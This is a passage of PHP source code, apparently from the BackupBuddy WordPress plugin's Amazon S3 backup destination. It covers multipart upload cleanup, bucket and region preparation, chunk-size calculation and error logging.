pb_backupbuddy::status( 'error', 'Stalled Multipart Chunked abort of file `' . $upload['Key'] . '` with ID `' . $upload['UploadId'] . '` FAILED. Manually abort it. Details: `' . $e->getMessage() . '`.' ); } } else { if ( pb_backupbuddy::$options['log_level'] != '3' ) { // Full logging NOT enabled. pb_backupbuddy::status( 'details', 'Multipart Chunked Uploads not aborted as not too old.' ); } } //} } // end foreach. pb_backupbuddy::status( 'details', 'AWS Multipart cleanup finished.' ); return true; } // end multipart_cleanup(). /* _prepareBucketAndRegion() * * Validates bucket existance, creating if needed. Sets region for non-US usage. * * @param array $settings Destination settings array. * @param bool $createBucket Whether or not to create bucket if it does not currently exist. * @return bool true on all okay, false otherwise. * */ private static function _prepareBucketAndRegion( $settings, $createBucket = true ) { $error = 'BackupBuddy Error #32823893: Obsolete function call.'; error_log( $error ); echo $error; return false; $settings = self::_formatSettings( $settings ); // Format all settings. if ( '1' == $settings['skip_bucket_prepare'] ) { pb_backupbuddy::status( 'details', 'Skipping bucket preparation based on destination settings.' ); return true; } // Get bucket region to determine if a bucket already exists. // Assume we will not have to try and create a bucket $maybe_create_bucket = false; pb_backupbuddy::status( 'details', 'Getting region for bucket: `' . $settings['bucket'] . "`." ); /* echo 'Settings:<pre>'; print_r( $settings ); echo '</pre>'; */ try { $detectedRegion = self::get_bucket_region( $settings['bucket'] ); $result = self::$_client->getBucketLocation(array( 'Bucket' => $settings['bucket'], )); pb_backupbuddy::status( 'details', 'Server indicates region: ' . $detectedRegion ); $settings['region'] = $detectedRegion; // Override passed region. } catch( Exception $e ) { $detectedRegion = ''; $maybe_create_bucket = true; $message = 'Exception retrieving information for bucket `' . $settings['bucket'] . '`. Assuming region in $settings correct. If using IAM security, verify this resource ALLOWs the action "s3:GetBucketLocation". Details: `' . $e->getMessage() . '`. Full result: `' . print_r( $result, true ) . '`.'; if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Settings used due to log level: `' . print_r( $settings, true ) . '`.' ); } echo $message; pb_backupbuddy::status( 'warning', $message ); //self::_error ( $message ); } try { self::$_client->setRegion( $settings['region'] ); } catch( Exception $e ) { throw new Exception( 'Unable to set region. Details: `' . $e->getMessage() . '`.' ); } // In bucket creation mode AND bucket did not already exist. if ( ( true === $createBucket ) && ( true === $maybe_create_bucket ) ) { pb_backupbuddy::status( 'details', 'Attempting to create bucket `' . $settings['bucket'] . '` at region endpoint `' . $settings['region'] . '` (detected region: `' . $detectedRegion . '`).' ); try { $response = self::$_client->createBucket( array( 'ACL' => 'private', 'Bucket' => $settings['bucket'], 'LocationConstraint' => $settings['region'] ) ); } catch( Exception $e ) { return self::_error( 'Error #3892833: Unable to create bucket. Details: `' . $e->getMessage() . '`.' ); } } // end if create bucket. return true; } // end _prepareBucketAndRegion(). // Taken from v1 s3 SDK. public static function _get_multipart_counts($filesize, $part_size) { $i = 0; $sizecount = $filesize; $values = array(); while ($sizecount > 0) { $sizecount -= $part_size; $values[] = array( 'seekTo' => ($part_size * $i), 'length' => (($sizecount > 0) ? $part_size : ($sizecount + $part_size)), ); $i++; } if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Multipart counts due to log level: `' . print_r( $values, true ) . '`.' ); } return $values; } private static function _error( $message ) { global $pb_backupbuddy_destination_errors; $pb_backupbuddy_destination_errors[] = $message; pb_backupbuddy::status( 'error', $message ); return false; } } // End class.